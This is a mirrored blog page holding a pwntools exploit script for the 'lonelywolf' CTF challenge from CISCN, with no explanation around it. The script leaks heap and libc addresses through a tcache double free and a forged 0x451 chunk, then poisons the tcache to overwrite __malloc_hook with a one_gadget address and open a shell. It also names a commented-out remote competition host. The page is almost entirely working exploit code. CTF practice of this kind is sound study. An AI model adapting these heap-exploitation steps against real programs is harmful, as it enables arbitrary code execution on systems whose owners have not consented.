zoukankan      html  css  js  c++  java
  • ciscn_lonelywolf

    lonelywolf

    from pwn import *
    context.arch = 'amd64'
    context.log_level='debug'
    p=process('./pwn')
    libc=ELF('./libc-2.27.so')
    #p=remote('124.71.235.219',25196)
    def add(idx,size):
        p.recvuntil('Your choice: ')
        p.sendline('1')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
        p.recvuntil('Size: ')
        p.sendline(str(size))
    
    def edit(idx,content):
        p.recvuntil('Your choice: ')
        p.sendline('2')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
        p.recvuntil('Content: ')
        p.sendline(content)
    
    def show(idx):
        p.recvuntil('Your choice: ')
        p.sendline('3')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
    
    def free(idx):
        p.recvuntil('Your choice: ')
        p.sendline('4')
        p.recvuntil('Index: ')
        p.sendline(str(idx))
    
    add(0,0x78)
    for i in range(2):
        edit(0,'aaaaaaaa')
        free(0)
    show(0)
    p.recvuntil('Content: ')
    heap_base=u64(p.recv(6).ljust(8,b'x00'))-0x260
    log.success('heap_base :'+hex(heap_base))
    payload=p64(0)*3+p64(0x451)
    add(0,0x78)
    edit(0,payload)
    
    for i in range(10):
        add(0,0x68)
    
    free(0)
    edit(0,b'p'*8)
    free(0)
    edit(0,p64(heap_base+0x280)+p64(0))
    add(0,0x68)
    add(0,0x68)
    free(0)
    show(0)
    p.recvuntil('Content: ')
    libc_base=u64(p.recvuntil('x7f').ljust(8,b'x00'))-96-0x10-libc.symbols['__malloc_hook']#0x3ebca0
    log.success('libc_base:'+hex(libc_base))
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    add(0,0x70)
    free(0)
    edit(0,'p'*8)
    free(0)
    edit(0,p64(malloc_hook))
    add(0,0x70)
    add(0,0x70)
    edit(0,p64(0x10a41c+libc_base))
    
    #gdb.attach(p)
    add(0,0x10)
    p.interactive()
  • 相关阅读:
    Docker 部署 Nginx
    Docker 安装 Redis
    linux shell "2>&1"
    定时备份docker mysql
    SpringBoot 中拦截器和过滤器的使用
    SpringBoot WebMvcConfigurer
    springboot自定义参数解析HandlerMethodArgumentResolver
    mysql在linux下查看my.cnf位置的方法
    Linux下设置mysql允许远程连接
    Android项目实战(六十):修改项目包名
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14782276.html
Copyright © 2011-2022 走看看